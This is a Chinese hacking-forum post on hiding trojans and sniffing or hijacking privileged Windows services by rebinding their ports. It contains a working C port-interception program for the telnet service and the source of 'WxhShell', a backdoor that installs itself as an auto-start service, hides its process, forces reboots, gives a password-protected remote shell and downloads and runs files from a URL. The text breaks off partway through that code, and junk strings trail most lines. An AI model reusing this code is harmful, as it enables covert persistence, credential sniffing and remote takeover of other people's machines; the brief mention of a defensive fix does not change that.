社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17787阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5 b rM..  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); aiX&`   
GImPPF  
  saddr.sin_family = AF_INET; ^*l dsc  
C2R"96M7q  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >e!J(4.-  
dE8f?L'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Kv* 1=HES  
#6c,_!  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (KC08  
fwt+$`n  
  这意味着什么?意味着可以进行如下的攻击: ?jMM@O`Nu  
0Lj;t/mG  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 9)+!*(D  
@VP/kut  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) iWeUsS%zpV  
5)f 'wVe  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 LNJKf6:  
x3Cn:F  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8*8Y\"  
e/Z{{FP%6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 vVtkB$]L  
WrwbLlE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mIf)=RW  
;sA 5&a>!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4'D^>z!c  
c),UO^EqV  
  #include 4}D&=0IZ  
  #include w;@v#<q6  
  #include by9UwM=gp  
  #include    g.Ur~5r  
  DWORD WINAPI ClientThread(LPVOID lpParam);   G0: <#?<5  
  int main() w@2NXcmw  
  { a`yCPnB(  
  WORD wVersionRequested; 4;~xRg;u&*  
  DWORD ret; I;jH'._k#  
  WSADATA wsaData; 0*]0#2Z  
  BOOL val; prO&"t >  
  SOCKADDR_IN saddr; K @&c  
  SOCKADDR_IN scaddr; VB/75xK_  
  int err; ~uY5~Qs9G  
  SOCKET s; U !+O+(  
  SOCKET sc; hFoeVM[h  
  int caddsize; 0o7o;eN  
  HANDLE mt; -U> )B  
  DWORD tid;   [i~@X2:Al  
  wVersionRequested = MAKEWORD( 2, 2 ); Z-t qSw8n  
  err = WSAStartup( wVersionRequested, &wsaData ); c)Q-yPMl)  
  if ( err != 0 ) { 6$PQ$  
  printf("error!WSAStartup failed!\n"); =^M Q 4  
  return -1; ?_{{iil  
  } TQt[he$O  
  saddr.sin_family = AF_INET; 9r\p4_V  
   Se??E+aX  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 85"Szc-#  
|C./gdq  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7h/Mkim$5  
  saddr.sin_port = htons(23); |LIcq0Z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q) 5s'(  
  { i|H^&$|  
  printf("error!socket failed!\n"); ii`,cJl  
  return -1; 2|!jst  
  } -;Mh|!yg  
  val = TRUE; W"/,<xHuh  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }c9RDpjh~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) }:?_/$};  
  { D'g@B.fXd  
  printf("error!setsockopt failed!\n"); lnl>!z  
  return -1; 8}oe))b  
  } /3 L4K  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4UL"f<7 T  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 s#8}&2#l  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ve/.q^JeJ  
2bXCFv7}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }nM+"(}  
  { Wf:X) S7  
  ret=GetLastError(); "JF   
  printf("error!bind failed!\n"); 3 P\4K  
  return -1; sFfargl  
  } )MN6\v  
  listen(s,2); qoQ,3&<  
  while(1) wMm+E "}W  
  { 6a]Qg99\  
  caddsize = sizeof(scaddr); Nsy>qa7  
  //接受连接请求 h/aG."U  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); G^P9_Sw]d3  
  if(sc!=INVALID_SOCKET) :gkn`z  
  { rIv#YqT  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); F9_X^#%L  
  if(mt==NULL) Ka{QjW!%d<  
  { suX^"Io%!  
  printf("Thread Creat Failed!\n"); [mUC7Kpi  
  break; *W}nw$tnBX  
  } JDpW7OrDc  
  } 7'.6/U  
  CloseHandle(mt); #)DDQ?D  
  } ayf;'1  
  closesocket(s); q|B.@Ng.  
  WSACleanup(); ?6[u\V  
  return 0; e oFM  
  }   !M6Km(>  
  DWORD WINAPI ClientThread(LPVOID lpParam) yaC_r-%U&  
  { -> 'q  
  SOCKET ss = (SOCKET)lpParam; j}%C;;MPH  
  SOCKET sc; c@O7,y:`I  
  unsigned char buf[4096]; O[}2  
  SOCKADDR_IN saddr; >\Iy <M  
  long num; Em<J{`k6  
  DWORD val; XC[AJ!q`  
  DWORD ret; BYI13jMH+Y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 A{eh$Ot%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   zW95qxXg  
  saddr.sin_family = AF_INET; 65c#he[_Y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); fxD|_  
  saddr.sin_port = htons(23); vf<Tq  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) AIQ]lQ(  
  { TY#pj  
  printf("error!socket failed!\n"); qy!pD R;  
  return -1; fJ-8$w\uL  
  } t2-bw6U  
  val = 100; Ga"<qmLMc  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y5V]uQSD  
  { oH [-fF  
  ret = GetLastError(); g;nPF*(  
  return -1; lgCOp%>  
  } OB+I.qlHP  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sgeME^v  
  { rI]n4>k{  
  ret = GetLastError(); D7N` %A8   
  return -1; "OKsl2e  
  } yc$8X sns  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }'TZ)=t{J  
  { '$CJZ`nt  
  printf("error!socket connect failed!\n"); {uO2m*JrI  
  closesocket(sc); :B_ itl0{e  
  closesocket(ss); 'l'[U  
  return -1; aQfrDM<*XS  
  } ""F' Nzy  
  while(1) X@7e 7  
  { 1QDAfRx  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (/_Z^m9   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 X?]1/6rV  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /aMeKM[L`  
  num = recv(ss,buf,4096,0); TCO^9RP<  
  if(num>0) "IsDL^)A9  
  send(sc,buf,num,0); "(y|iS$^T  
  else if(num==0) A!5)$>!o  
  break; Z}6H529[  
  num = recv(sc,buf,4096,0); )x&}{k6 %  
  if(num>0) e0u* \b  
  send(ss,buf,num,0); $30lNZK1m8  
  else if(num==0) Y]1b3 9O  
  break; )e:u 6]  
  } uJHf6Ye  
  closesocket(ss); >RT02Ey>  
  closesocket(sc); R<-(  
  return 0 ; K5q9u-7  
  } k*xgF[T 8  
?IV3"\5  
bQ2 '*T  
========================================================== uYwJ[1 C  
A&QO]8  
下边附上一个代码,,WXhSHELL (}n,Ou[  
[VwoZX:  
========================================================== (%EhkTb  
IE9A _u*  
#include "stdafx.h" x k5Z&z  
G8oOFBQD  
#include <stdio.h> H@,(  
#include <string.h> U.QjB0;  
#include <windows.h> KC{ HX?  
#include <winsock2.h> }<kpvd+ps=  
#include <winsvc.h> m-No 8)2yA  
#include <urlmon.h> 7[W! Nx  
Rm!Iv&{  
#pragma comment (lib, "Ws2_32.lib") Li_ a|dI  
#pragma comment (lib, "urlmon.lib") s|Acv4| V  
'|i<?]U  
#define MAX_USER   100 // 最大客户端连接数 ff9D{$V5  
#define BUF_SOCK   200 // sock buffer 'PrrP3lO_~  
#define KEY_BUFF   255 // 输入 buffer { wx!~K  
Y/_b~Ahn  
#define REBOOT     0   // 重启 IGd]!  
#define SHUTDOWN   1   // 关机 _(s|@UT#  
@{!c [{x,T  
#define DEF_PORT   5000 // 监听端口 >*%mJX/F  
E5G=Kh[NP  
#define REG_LEN     16   // 注册表键长度 \a8<DR\@O  
#define SVC_LEN     80   // NT服务名长度 Yl#r9TM  
EBN'u&zX  
// 从dll定义API @9^ozgg  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~vIQ-|8r:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (1(dL_?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3Vl?;~ :5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jn9KQe\3  
iWZrZ5l  
// wxhshell配置信息 kMz^37IFMG  
struct WSCFG { t)O$W   
  int ws_port;         // 监听端口 D f H>UA  
  char ws_passstr[REG_LEN]; // 口令 DLv\]\h}L  
  int ws_autoins;       // 安装标记, 1=yes 0=no .W<yiB}^  
  char ws_regname[REG_LEN]; // 注册表键名 zviEk/:zm  
  char ws_svcname[REG_LEN]; // 服务名 iIoeG_^*Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4c*?9r@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 195m0'zda  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N%\!eHxy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2\M^ _x$N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" aoh"<I%]>4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uMToVk`Uv  
J ;=~QYn[  
}; W7lR 54%|  
/MB3w m  
// default Wxhshell configuration O!(M:.  
struct WSCFG wscfg={DEF_PORT, ee.#Vhz  
    "xuhuanlingzhe", !>{` o/dZ  
    1, ~4\J }Kn  
    "Wxhshell", |T}Q ~  
    "Wxhshell", Oozt&* F  
            "WxhShell Service", YULI y-W  
    "Wrsky Windows CmdShell Service", CD'.bFO^+T  
    "Please Input Your Password: ", *eAsA(;  
  1, ~e5hfZv|w  
  "http://www.wrsky.com/wxhshell.exe", $]eITyC`P  
  "Wxhshell.exe" x4PA~R  
    }; Y9)uy 8c  
>M\3tB2C  
// 消息定义模块 E {$Jk]c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 90o G+T4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >i%{5d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'Tn i;  
char *msg_ws_ext="\n\rExit."; m?]X NgT  
char *msg_ws_end="\n\rQuit."; bZ0mK$B  
char *msg_ws_boot="\n\rReboot..."; p^~ AbU'6~  
char *msg_ws_poff="\n\rShutdown..."; @-9I<)Z/2  
char *msg_ws_down="\n\rSave to "; JgJ4RmH-  
0HA`  
char *msg_ws_err="\n\rErr!"; r wtU@xsD  
char *msg_ws_ok="\n\rOK!"; _H9.A I  
\YE(E04w57  
char ExeFile[MAX_PATH]; &>zzR$#1  
int nUser = 0; K]{Y >w  
HANDLE handles[MAX_USER]; yF-EHNNf  
int OsIsNt; WleE$ ,  
Nv@SpV'  
SERVICE_STATUS       serviceStatus; ]3xb Q1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (*>%^C?  
x$o?ckyH  
// 函数声明 G=R`O1-3  
int Install(void); ~ [ k0ay  
int Uninstall(void); 88]V6Rm9[*  
int DownloadFile(char *sURL, SOCKET wsh); M<R3JzT  
int Boot(int flag); _yi`relcq-  
void HideProc(void); h\#\hx  
int GetOsVer(void); Y[l*>}:w  
int Wxhshell(SOCKET wsl); ztcV[{[g  
void TalkWithClient(void *cs); Cku#[?G  
int CmdShell(SOCKET sock); {k4)f ad\  
int StartFromService(void); /a}F ;^  
int StartWxhshell(LPSTR lpCmdLine); e5/f%4YX  
w\o?p.drp=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )YE3n-~7{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P;7JK=~k  
q#RUL!WF7U  
// 数据结构和表定义 WC6yQSnY&  
SERVICE_TABLE_ENTRY DispatchTable[] = I d6H~;  
{ F7!g+LPc<  
{wscfg.ws_svcname, NTServiceMain}, ,Jm2|WKH  
{NULL, NULL} jlvh'y`  
}; iI|mFc|V  
]}t6V]`Q  
// 自我安装 $#VEC0  
int Install(void) .ME>ICA  
{ a<c]N:1  
  char svExeFile[MAX_PATH]; dux.Z9X?  
  HKEY key; cR'l\iv+  
  strcpy(svExeFile,ExeFile); e :(7$jo  
w;@NYMK)  
// 如果是win9x系统,修改注册表设为自启动 1>I4=mj  
if(!OsIsNt) { ]_!5g3VQh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >|{n";n&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e[<vVe!  
  RegCloseKey(key); B 2p/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gD}lDK6N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); . V5Pr}"y  
  RegCloseKey(key); Q&j-a;L  
  return 0; z TYHwx  
    } %b 8ig1  
  } 7+_TdDBYs  
} }q<p;4<\F  
else { N|JM L  
`fTH"l1zn  
// 如果是NT以上系统,安装为系统服务 "Y%fk/v8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '%Cc!63t*  
if (schSCManager!=0) S#h-X(4  
{ ~ _ ogeD  
  SC_HANDLE schService = CreateService O+iNR9O  
  ( ''t\J^+&  
  schSCManager, bSa%?laS  
  wscfg.ws_svcname, _"_ 21uB  
  wscfg.ws_svcdisp, %r E:5)  
  SERVICE_ALL_ACCESS, tuT>,BbR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  |2<y  
  SERVICE_AUTO_START, 3jSt&+  
  SERVICE_ERROR_NORMAL, #`Af  
  svExeFile, y vIeK6  
  NULL, srzlr-J  
  NULL, $('"0 @fg  
  NULL, /b&ka&|t  
  NULL, Dj?84y  
  NULL b+=@;0p*6B  
  ); !wbO:py[8>  
  if (schService!=0) s#Os?Q?  
  { s2Z'_r T  
  CloseServiceHandle(schService); C{{RU7iqc&  
  CloseServiceHandle(schSCManager); 4S%s=v w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _3Kow{y\  
  strcat(svExeFile,wscfg.ws_svcname); qQ&=Z` p!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6d7E@}<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 58[=.rzD  
  RegCloseKey(key); .rPg  
  return 0; xUW\P$  
    } k)j6rU  
  } ={'3j  
  CloseServiceHandle(schSCManager); -!@]z2uU  
} p!oO}gE  
} a/wg%cWG_  
.(J~:U  
return 1; PHAM(iC&D  
} Dj9 v9  
D02'P{  
// 自我卸载 h(~@ n d{  
int Uninstall(void) wH?]kV8Q  
{ SEKR`2Zz,  
  HKEY key; LZ=E  
NqlU?  
if(!OsIsNt) { _xWX/1DY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PF+F^;C  
  RegDeleteValue(key,wscfg.ws_regname); 4h*c{do  
  RegCloseKey(key); %LM2CgH V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |*fi!nvk@  
  RegDeleteValue(key,wscfg.ws_regname); H*.v*ro9_  
  RegCloseKey(key); K#%@4]jO3  
  return 0; C.|.0^5  
  } =67ab_V  
} 5'<J@3B  
} :$=]*54`T  
else { K ' ?`'7  
_^Z v[P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W{$J)iQ  
if (schSCManager!=0) iFOa9!_0n  
{ awU! 3)B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); a S;z YD  
  if (schService!=0) PIHix{YR  
  { <)$e*HrI  
  if(DeleteService(schService)!=0) { >rhqhmh;W"  
  CloseServiceHandle(schService); ~0@ uR  
  CloseServiceHandle(schSCManager); $x/VO\Z{-  
  return 0; A3Xfu$[u  
  } <B Vx%  
  CloseServiceHandle(schService); :R'={0Jg  
  } n-he|u  
  CloseServiceHandle(schSCManager); j'uzjs[  
} Cl8S_Bz  
} o$p] p9  
og?L 9  
return 1; *b4W+E  
} Z!+n/ D-1  
5_\1f|,  
// 从指定url下载文件 %ONU0xtqk  
int DownloadFile(char *sURL, SOCKET wsh) J4]tT pu"K  
{ !59,<N1Iu  
  HRESULT hr; Q<Q?#v7NX  
char seps[]= "/"; 0 wjL=]X1e  
char *token; eemC;JV%  
char *file; mIe 5{.m#  
char myURL[MAX_PATH]; dDbH+kqO  
char myFILE[MAX_PATH]; **CGkL  
03n+kh  
strcpy(myURL,sURL); \nUJ)w  
  token=strtok(myURL,seps); >:bXw#w]  
  while(token!=NULL) TVZf@U  
  { +<T361eyY  
    file=token; <CcSChCg  
  token=strtok(NULL,seps); hRQw]  
  } $ghlrV;:ct  
b:PzqMh{G  
GetCurrentDirectory(MAX_PATH,myFILE); B un^EJ)  
strcat(myFILE, "\\"); e>UU/Ks  
strcat(myFILE, file); ~}_S]^br  
  send(wsh,myFILE,strlen(myFILE),0); ctoh&5%!n+  
send(wsh,"...",3,0); Ub{7Xk n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y1;jRIOA  
  if(hr==S_OK) {(IHHA>  
return 0; D4T42L  
else mhMTn*9  
return 1; Doe:m#aNj  
~bq w!rz  
} +3k.xP?QS  
k5|GN Y6a  
// 系统电源模块 {t*CSI  
int Boot(int flag) $3S`A]xO  
{ {Ia1Wd8n  
  HANDLE hToken; Gb4p "3  
  TOKEN_PRIVILEGES tkp; J'%W_?wZ  
z:8ieJ)C  
  if(OsIsNt) { x21XzGLY|}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); GM Y[Gd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <Zo{D |hW  
    tkp.PrivilegeCount = 1; n0FzDQt26  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ><C9PS@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,*sKr)9)  
if(flag==REBOOT) { RNopx3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;*{Ls#  
  return 0; ?^ R"a##  
} `[&%fTW+  
else { ZkBWVZb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5 0dx[v8  
  return 0; pQ xv_4  
} Ml,in49  
  } +Mb}70^  
  else { jItVAmC=i  
if(flag==REBOOT) { ;D<;pW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5S ) N&%  
  return 0; zCS&w ~  
} F9>"1  
else { 4,&f#=Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1*f/Y9 Z  
  return 0; 09=w  
} JF'<""  
} PB)vE  
R1Fcd@DWD  
return 1; e35")z~  
} `[h&Q0Du6  
{Q)sR*d  
// win9x进程隐藏模块 z2jS(N?J1  
void HideProc(void) xxG>Leml  
{ "g/UpnH  
K."W/A!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |9[)-C~N7  
  if ( hKernel != NULL ) NAO0b5-h  
  { +1a2Un  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5'[yw:P-8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )1g\v8XT  
    FreeLibrary(hKernel); #@ F   
  } RLO<5L  
@cQ |`  
return; BnG{) \s  
} d>0 j!+s  
HP=5 a.  
// 获取操作系统版本 O4!!*0(+91  
int GetOsVer(void) _y:a Pn  
{ \okvL2:!  
  OSVERSIONINFO winfo; Z ?ATWCa  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); aqgm  
  GetVersionEx(&winfo); 2gW+&5; 4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \Hu?K\SWs  
  return 1; bV:MOj^  
  else (e32oP"  
  return 0; ^[EXTBk@:  
} u}7r\MnwK,  
[4-u{Tu  
// 客户端句柄模块 Jmu oYlf|  
int Wxhshell(SOCKET wsl) g@m__   
{ @2eH;?uO  
  SOCKET wsh; /S9n!H:MT  
  struct sockaddr_in client; &-KQ m20n  
  DWORD myID; {~V_6wY g  
T^g i^{  
  while(nUser<MAX_USER) Q) iN_|  
{ 0L \vi  
  int nSize=sizeof(client); p+;x&h)[l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); b(A;mt#N  
  if(wsh==INVALID_SOCKET) return 1; ^oEaE#I  
~g *`E!2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lWFm>DiLY  
if(handles[nUser]==0) 3V/f-l]X/  
  closesocket(wsh); kZQ$Iv+^(  
else rUmnv%qTS  
  nUser++; ^ lG^.  
  } ze`qf%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hOe$h,E']  
qX]ej 2  
  return 0; _<jccQ  
} Mvk#$:8e  
%p};Di[V  
// 关闭 socket T_qh_L3  
void CloseIt(SOCKET wsh) u73/#!(1=H  
{ V6b)  
closesocket(wsh); Yt;@ @xe&  
nUser--; mZ.E;X& ,*  
ExitThread(0); t`0(5v  
} ^ |>)H  
wtQ(R4  
// 客户端请求句柄 TZ:dY x  
void TalkWithClient(void *cs) X6oY-4O  
{ 'x= y:0A  
P,n:u'Iwy  
  SOCKET wsh=(SOCKET)cs; w*AXD!}  
  char pwd[SVC_LEN]; e(k$k>?  
  char cmd[KEY_BUFF]; WhL 1OG  
char chr[1]; a;0$fRy  
int i,j; 9R|B 5.  
.DcuJC=  
  while (nUser < MAX_USER) { NAfu$7  
0>0:ls  
if(wscfg.ws_passstr) { g%d&>y?1r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "Oy&6rrr  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l5_%Q+E_  
  //ZeroMemory(pwd,KEY_BUFF); ]GPUL>7  
      i=0; Q$2^m(?;  
  while(i<SVC_LEN) { |)Sx"B)  
.w)T2(  
  // 设置超时 Jm}zit:o  
  fd_set FdRead; @_Ly^' "  
  struct timeval TimeOut; Pl[WCh  
  FD_ZERO(&FdRead); #e;\Eap  
  FD_SET(wsh,&FdRead); 7033#@_  
  TimeOut.tv_sec=8; s}":lXkrw  
  TimeOut.tv_usec=0; mQt?d?6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B9h>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !O#NP!   
hH@pA:`s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kx3]A"]>'  
  pwd=chr[0]; ctL,Mqr\Z  
  if(chr[0]==0xd || chr[0]==0xa) { Hy1f,D  
  pwd=0; ACxjY2  
  break; \6v*c;ZF  
  } E- rXYNfy  
  i++; (`Q_^Bfyl  
    } `!g XA.9Uv  
:#p!&Fi  
  // 如果是非法用户,关闭 socket tL@m5M%:N2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N @sVA%L.  
} -%)8=  
$kk!NAW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W>]=0u4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `'<&<P  
(6\ H~  
while(1) { |/AY!Y3  
}[I|oV5*+&  
  ZeroMemory(cmd,KEY_BUFF); ^<O:`c6_  
cc$+"7/J^c  
      // 自动支持客户端 telnet标准   REwZ41   
  j=0; w`OHNwXh#I  
  while(j<KEY_BUFF) { oGi{d5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3:WXrOl  
  cmd[j]=chr[0]; qbe9 CF'@_  
  if(chr[0]==0xa || chr[0]==0xd) { c6)q(zz  
  cmd[j]=0; sp$W=Wu7  
  break; GPnSdGLC  
  } >P\/\xL=  
  j++; ZN?UkFnE  
    } ;}gS8I|  
dq ~=P>  
  // 下载文件 u.sn"G-c  
  if(strstr(cmd,"http://")) { 6~v|pA jY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /h'b,iYVV  
  if(DownloadFile(cmd,wsh)) 4d0<uB&v'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >T<"fEBI  
  else i&?do{YQ)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &4O0}ax*Zm  
  } qjp<_aw  
  else { :V#W y  
x?|   
    switch(cmd[0]) { ,, G6L{&Z  
   ,M&[c|  
  // 帮助 tJ9i{TS  
  case '?': { r-a/vx#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); slK L(-D{  
    break; [bvIT]Z  
  }  =j1rw  
  // 安装 Zj8aD-1]U^  
  case 'i': { ul$YV9 [\  
    if(Install()) YEx7 6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =1"8ua  
    else O{9h'JU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V OViOD  
    break; U8(Rye$  
    } [UHDN:y  
  // 卸载 PDcZno?  
  case 'r': { 6 4da~SEn  
    if(Uninstall()) Y@Kp'+t(!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m ,U`hPJ  
    else z_p/.kQ'5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *tda_B 2  
    break; }]H_|V*f  
    } <j.bG 7  
  // 显示 wxhshell 所在路径 oA&V,r  
  case 'p': { 6Hn3  
    char svExeFile[MAX_PATH]; }GCt)i_  
    strcpy(svExeFile,"\n\r"); Oj*3'?<7=  
      strcat(svExeFile,ExeFile); &` u<KKF6  
        send(wsh,svExeFile,strlen(svExeFile),0); ToN$x^M w  
    break; dZ7+Iw;m  
    } pU*dE   
  // 重启 , ]'?Gd  
  case 'b': { aMFUJrXo  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~sQN\]5VW  
    if(Boot(REBOOT)) ;?i(WV}ee  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YQ _3[[xT  
    else { cFoDR  
    closesocket(wsh); ^V~r S8]gj  
